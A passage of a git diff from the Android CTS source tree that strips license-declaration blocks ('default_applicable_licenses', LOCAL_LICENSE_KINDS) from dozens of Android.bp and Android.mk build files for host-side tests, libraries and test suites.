// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsSystemUiHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/systemui/app/Android.bp b/hostsidetests/systemui/app/Android.bp
index 72ebe86..fba1c1b 100644
--- a/hostsidetests/systemui/app/Android.bp
+++ b/hostsidetests/systemui/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSystemUiDeviceApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
index 1d4c23b..306a25e 100644
--- a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSystemUiDeviceAudioRecorderAppAudioRecord",
static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
index 4eece94..e97729a 100644
--- a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSystemUiDeviceAudioRecorderAppMediaRecorder",
static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
diff --git a/hostsidetests/systemui/audiorecorder_base/Android.bp b/hostsidetests/systemui/audiorecorder_base/Android.bp
index b8a394e..ba9c7e6 100644
--- a/hostsidetests/systemui/audiorecorder_base/Android.bp
+++ b/hostsidetests/systemui/audiorecorder_base/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_library {
name: "CtsSystemUiDeviceAudioRecorderBase",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tagging/Android.bp b/hostsidetests/tagging/Android.bp
index 66648b0..7fc561f 100644
--- a/hostsidetests/tagging/Android.bp
+++ b/hostsidetests/tagging/Android.bp
@@ -28,10 +28,6 @@
// MTE tests are done at SDK level 30. The level doesn't really matter; there is
// no manifest flag for MTE, and the compat feature is always disabled.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsTaggingHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/tagging/common/Android.bp b/hostsidetests/tagging/common/Android.bp
index 468940e..3a2a0dd 100644
--- a/hostsidetests/tagging/common/Android.bp
+++ b/hostsidetests/tagging/common/Android.bp
@@ -16,10 +16,6 @@
// Build the common library for use device-side
//##############################################################################
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "tagging-common-devicesidelib",
srcs: ["src/**/Utils.java"],
diff --git a/hostsidetests/tagging/manifest_disabled/Android.bp b/hostsidetests/tagging/manifest_disabled/Android.bp
index 45603a7..5c10e2d 100644
--- a/hostsidetests/tagging/manifest_disabled/Android.bp
+++ b/hostsidetests/tagging/manifest_disabled/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTaggingManifestDisabledApp",
defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp b/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
index 0087508..157f16a 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
+++ b/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTaggingManifestEnabledSdk29App",
defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp b/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
index 5947a88..0fdeb36 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
+++ b/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTaggingManifestEnabledSdk30App",
defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/sdk_29/Android.bp b/hostsidetests/tagging/sdk_29/Android.bp
index a5c4a59..2ee016e 100644
--- a/hostsidetests/tagging/sdk_29/Android.bp
+++ b/hostsidetests/tagging/sdk_29/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTaggingSdk29App",
defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/sdk_30/Android.bp b/hostsidetests/tagging/sdk_30/Android.bp
index 0b25daa..0d13db1 100644
--- a/hostsidetests/tagging/sdk_30/Android.bp
+++ b/hostsidetests/tagging/sdk_30/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTaggingSdk30App",
defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/telephony/Android.bp b/hostsidetests/telephony/Android.bp
index b3d0084..adddc00 100644
--- a/hostsidetests/telephony/Android.bp
+++ b/hostsidetests/telephony/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsTelephonyHostCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/telephony/devicetest/Android.bp b/hostsidetests/telephony/devicetest/Android.bp
index dda0d6c..e32364b 100644
--- a/hostsidetests/telephony/devicetest/Android.bp
+++ b/hostsidetests/telephony/devicetest/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TelephonyDeviceTest",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/telephonyprovider/Android.bp b/hostsidetests/telephonyprovider/Android.bp
index 2fa3b71..e2f6b22 100644
--- a/hostsidetests/telephonyprovider/Android.bp
+++ b/hostsidetests/telephonyprovider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsTelephonyProviderHostCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/telephonyprovider/devicetest/Android.bp b/hostsidetests/telephonyprovider/devicetest/Android.bp
index cc44044..8a70b2e 100644
--- a/hostsidetests/telephonyprovider/devicetest/Android.bp
+++ b/hostsidetests/telephonyprovider/devicetest/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TelephonyProviderDeviceTest",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/testharness/Android.bp b/hostsidetests/testharness/Android.bp
index c7efdaf..975d996 100644
--- a/hostsidetests/testharness/Android.bp
+++ b/hostsidetests/testharness/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsTestHarnessModeTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/testharness/app/Android.bp b/hostsidetests/testharness/app/Android.bp
index a5a8b29..c8ea847 100644
--- a/hostsidetests/testharness/app/Android.bp
+++ b/hostsidetests/testharness/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTestHarnessModeDeviceApp",
// Don't include this package in any target
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 44637c1..037c2e3 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -31,8 +31,6 @@
# Must match the package name in CtsTestCaseList.mk
LOCAL_MODULE := CtsThemeHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
@@ -44,3 +42,4 @@
LOCAL_COMPATIBILITY_SUITE := cts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
diff --git a/hostsidetests/theme/app/Android.bp b/hostsidetests/theme/app/Android.bp
index 4c7cdc6..c534e9e 100644
--- a/hostsidetests/theme/app/Android.bp
+++ b/hostsidetests/theme/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsThemeDeviceApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/trustedvoice/Android.bp b/hostsidetests/trustedvoice/Android.bp
index faa94df..f20218c 100644
--- a/hostsidetests/trustedvoice/Android.bp
+++ b/hostsidetests/trustedvoice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsTrustedVoiceHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/hostsidetests/trustedvoice/app/Android.bp
index b8c7922..27ab221 100644
--- a/hostsidetests/trustedvoice/app/Android.bp
+++ b/hostsidetests/trustedvoice/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsTrustedVoiceApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tv/Android.bp b/hostsidetests/tv/Android.bp
index ae72d26..7495491 100644
--- a/hostsidetests/tv/Android.bp
+++ b/hostsidetests/tv/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsHostsideTvTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/tv/app/Android.bp b/hostsidetests/tv/app/Android.bp
index 5858fcf..e929820 100644
--- a/hostsidetests/tv/app/Android.bp
+++ b/hostsidetests/tv/app/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTvInputApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tv/app2/Android.bp b/hostsidetests/tv/app2/Android.bp
index a287acc..f8af26c 100644
--- a/hostsidetests/tv/app2/Android.bp
+++ b/hostsidetests/tv/app2/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsHostsideTvInputMonitor",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/tzdata/Android.bp b/hostsidetests/tzdata/Android.bp
index be847bd..75f5424 100644
--- a/hostsidetests/tzdata/Android.bp
+++ b/hostsidetests/tzdata/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsHostTzDataTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index 096c33d..61bb6d3 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -21,8 +21,6 @@
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE := CtsUiHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/ui/appA/Android.bp b/hostsidetests/ui/appA/Android.bp
index 454c9cb..5497378 100644
--- a/hostsidetests/ui/appA/Android.bp
+++ b/hostsidetests/ui/appA/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceTaskSwitchingAppA",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/ui/appB/Android.bp b/hostsidetests/ui/appB/Android.bp
index 246bc55..255b3de 100644
--- a/hostsidetests/ui/appB/Android.bp
+++ b/hostsidetests/ui/appB/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDeviceTaskSwitchingAppB",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/ui/control/Android.bp b/hostsidetests/ui/control/Android.bp
index 5a7697e..96d16ce 100644
--- a/hostsidetests/ui/control/Android.bp
+++ b/hostsidetests/ui/control/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDeviceTaskSwitchingControl",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/usage/Android.bp b/hostsidetests/usage/Android.bp
index bd5f0fd..f7e59d2 100644
--- a/hostsidetests/usage/Android.bp
+++ b/hostsidetests/usage/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsAppUsageHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/usage/app/Android.bp b/hostsidetests/usage/app/Android.bp
index ee3eab7..55e4ac2 100644
--- a/hostsidetests/usage/app/Android.bp
+++ b/hostsidetests/usage/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppUsageTestApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/usb/Android.bp b/hostsidetests/usb/Android.bp
index d0b7ecc..1bd848b 100644
--- a/hostsidetests/usb/Android.bp
+++ b/hostsidetests/usb/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsUsbTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/usb/SerialTestApp/Android.bp b/hostsidetests/usb/SerialTestApp/Android.bp
index 8a6ba9c..2c4a864 100644
--- a/hostsidetests/usb/SerialTestApp/Android.bp
+++ b/hostsidetests/usb/SerialTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsUsbSerialTestApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp
index f64c740..ba0715d 100644
--- a/hostsidetests/userspacereboot/Android.bp
+++ b/hostsidetests/userspacereboot/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsUserspaceRebootHostSideTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
index df1baed..8e5ee60 100644
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "BasicUserspaceRebootTestApp",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
index 24952d7..a25b8df 100644
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
+++ b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "BootCompletedUserspaceRebootTestApp",
srcs: ["src/**/*.java"],
diff --git a/hostsidetests/utils/Android.bp b/hostsidetests/utils/Android.bp
index a40ba4f..0930f91 100644
--- a/hostsidetests/utils/Android.bp
+++ b/hostsidetests/utils/Android.bp
@@ -14,10 +14,6 @@
* limitations under the License.
*/
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "cts-host-utils",
srcs: [
diff --git a/hostsidetests/webkit/Android.bp b/hostsidetests/webkit/Android.bp
index c76c2d1..53fadbd 100644
--- a/hostsidetests/webkit/Android.bp
+++ b/hostsidetests/webkit/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsHostsideWebViewTests",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/webkit/app/Android.bp b/hostsidetests/webkit/app/Android.bp
index a418339..831bbb7 100644
--- a/hostsidetests/webkit/app/Android.bp
+++ b/hostsidetests/webkit/app/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsWebViewStartupApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/wifibroadcasts/Android.bp b/hostsidetests/wifibroadcasts/Android.bp
index 30160619..42a3b4f 100644
--- a/hostsidetests/wifibroadcasts/Android.bp
+++ b/hostsidetests/wifibroadcasts/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsWifiBroadcastsHostTestCases",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/wifibroadcasts/app/Android.bp b/hostsidetests/wifibroadcasts/app/Android.bp
index 92f420f..2dc0b0f 100644
--- a/hostsidetests/wifibroadcasts/app/Android.bp
+++ b/hostsidetests/wifibroadcasts/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsWifiBroadcastsDeviceApp",
dex_preopt: {
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
index 8d00a4f..ddd07f0 100644
--- a/libs/deviceutillegacy/Android.bp
+++ b/libs/deviceutillegacy/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "ctsdeviceutillegacy-axt",
diff --git a/libs/helpers/core/Android.bp b/libs/helpers/core/Android.bp
index 9cc3a04..a00c67b 100644
--- a/libs/helpers/core/Android.bp
+++ b/libs/helpers/core/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-helpers-core",
defaults: ["cts_defaults"],
diff --git a/libs/helpers/core/tests/Android.bp b/libs/helpers/core/tests/Android.bp
index 8816bb6..2bff559 100644
--- a/libs/helpers/core/tests/Android.bp
+++ b/libs/helpers/core/tests/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "cts-helpers-core-tests",
diff --git a/libs/helpers/interfaces/Android.bp b/libs/helpers/interfaces/Android.bp
index 3cdb264..7b84d69 100644
--- a/libs/helpers/interfaces/Android.bp
+++ b/libs/helpers/interfaces/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-helpers-interfaces",
diff --git a/libs/input/Android.bp b/libs/input/Android.bp
index 27b9445..82044c5 100644
--- a/libs/input/Android.bp
+++ b/libs/input/Android.bp
@@ -12,12 +12,8 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "cts-input-lib",
sdk_version: "test_current",
srcs: ["src/**/*.java"],
-}
+}
\ No newline at end of file
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 5b492a2..4ca412a 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TestAppAv1",
manifest: "testapp/Av1.xml",
diff --git a/libs/json/Android.bp b/libs/json/Android.bp
index 0dc0090..59a9f3a 100644
--- a/libs/json/Android.bp
+++ b/libs/json/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "json",
host_supported: true,
diff --git a/libs/midi/Android.bp b/libs/midi/Android.bp
index 5317ab2..24c951b 100644
--- a/libs/midi/Android.bp
+++ b/libs/midi/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "cts-midi-lib",
diff --git a/libs/rollback/Android.bp b/libs/rollback/Android.bp
index 80eda46..3e4d0a3 100644
--- a/libs/rollback/Android.bp
+++ b/libs/rollback/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-rollback-lib",
srcs: ["src/**/*.java"],
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
index 201cd8d..40977ff 100644
--- a/libs/runner/Android.bp
+++ b/libs/runner/Android.bp
@@ -13,16 +13,6 @@
// limitations under the License.
// The library variant that brings in androidx-test transitively
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
java_library {
name: "ctstestrunner-axt",
diff --git a/libs/shim/Android.bp b/libs/shim/Android.bp
index 4f116dd..908cd8e 100644
--- a/libs/shim/Android.bp
+++ b/libs/shim/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-shim-lib",
host_supported: true,
diff --git a/libs/testserver/Android.bp b/libs/testserver/Android.bp
index 56a0921..14b9ed4 100644
--- a/libs/testserver/Android.bp
+++ b/libs/testserver/Android.bp
@@ -12,16 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-BSD
- default_applicable_licenses: ["cts_license"],
-}
-
java_library {
name: "ctstestserver",
diff --git a/libs/view/Android.bp b/libs/view/Android.bp
index 5eca263..c58c3ca 100644
--- a/libs/view/Android.bp
+++ b/libs/view/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-view-lib",
diff --git a/libs/vogar-expect/Android.bp b/libs/vogar-expect/Android.bp
index b94a9ca..536a33e 100644
--- a/libs/vogar-expect/Android.bp
+++ b/libs/vogar-expect/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "vogarexpect",
host_supported: true,
diff --git a/suite/audio_quality/executable/Android.bp b/suite/audio_quality/executable/Android.bp
index dff1431..c6bf63d 100644
--- a/suite/audio_quality/executable/Android.bp
+++ b/suite/audio_quality/executable/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_binary_host {
name: "cts_audio_quality",
srcs: ["src/main.cpp"],
diff --git a/suite/audio_quality/lib/Android.bp b/suite/audio_quality/lib/Android.bp
index b07e628..d1f4ec8 100644
--- a/suite/audio_quality/lib/Android.bp
+++ b/suite/audio_quality/lib/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_host_static {
name: "libcts_audio_quality",
srcs: ["**/*.cpp"],
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index 443e995..6b3c97b 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_host {
name: "cts_audio_quality_test",
srcs: ["*.cpp"],
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index 8e06f00..ba40a70 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAlarmManagerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/AlarmManager/app/Android.bp b/tests/AlarmManager/app/Android.bp
index 52bfc30..5a10973 100644
--- a/tests/AlarmManager/app/Android.bp
+++ b/tests/AlarmManager/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AlarmTestApp",
defaults: ["cts_support_defaults"],
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
index 7fcb613..22d8791 100644
--- a/tests/BlobStore/Android.bp
+++ b/tests/BlobStore/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsBlobStoreTestCases",
defaults: ["cts_defaults"],
@@ -112,4 +108,4 @@
srcs: [
"aidl/**/*.aidl",
]
-}
+}
\ No newline at end of file
diff --git a/tests/BlobStore/certs/Android.bp b/tests/BlobStore/certs/Android.bp
index cdeaa34..efae567 100644
--- a/tests/BlobStore/certs/Android.bp
+++ b/tests/BlobStore/certs/Android.bp
@@ -1,13 +1,3 @@
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
android_app_certificate {
name: "cts-blob-helper-cert",
certificate: "cts-blob-helper-cert",
diff --git a/tests/DropBoxManager/Android.bp b/tests/DropBoxManager/Android.bp
index 0c863cf..f13b0fe 100644
--- a/tests/DropBoxManager/Android.bp
+++ b/tests/DropBoxManager/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsDropBoxManagerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
index 9465126..e747694 100644
--- a/tests/JobScheduler/Android.bp
+++ b/tests/JobScheduler/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsJobSchedulerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/JobScheduler/JobTestApp/Android.bp b/tests/JobScheduler/JobTestApp/Android.bp
index e1f3053..6985b18 100644
--- a/tests/JobScheduler/JobTestApp/Android.bp
+++ b/tests/JobScheduler/JobTestApp/Android.bp
@@ -12,10 +12,6 @@
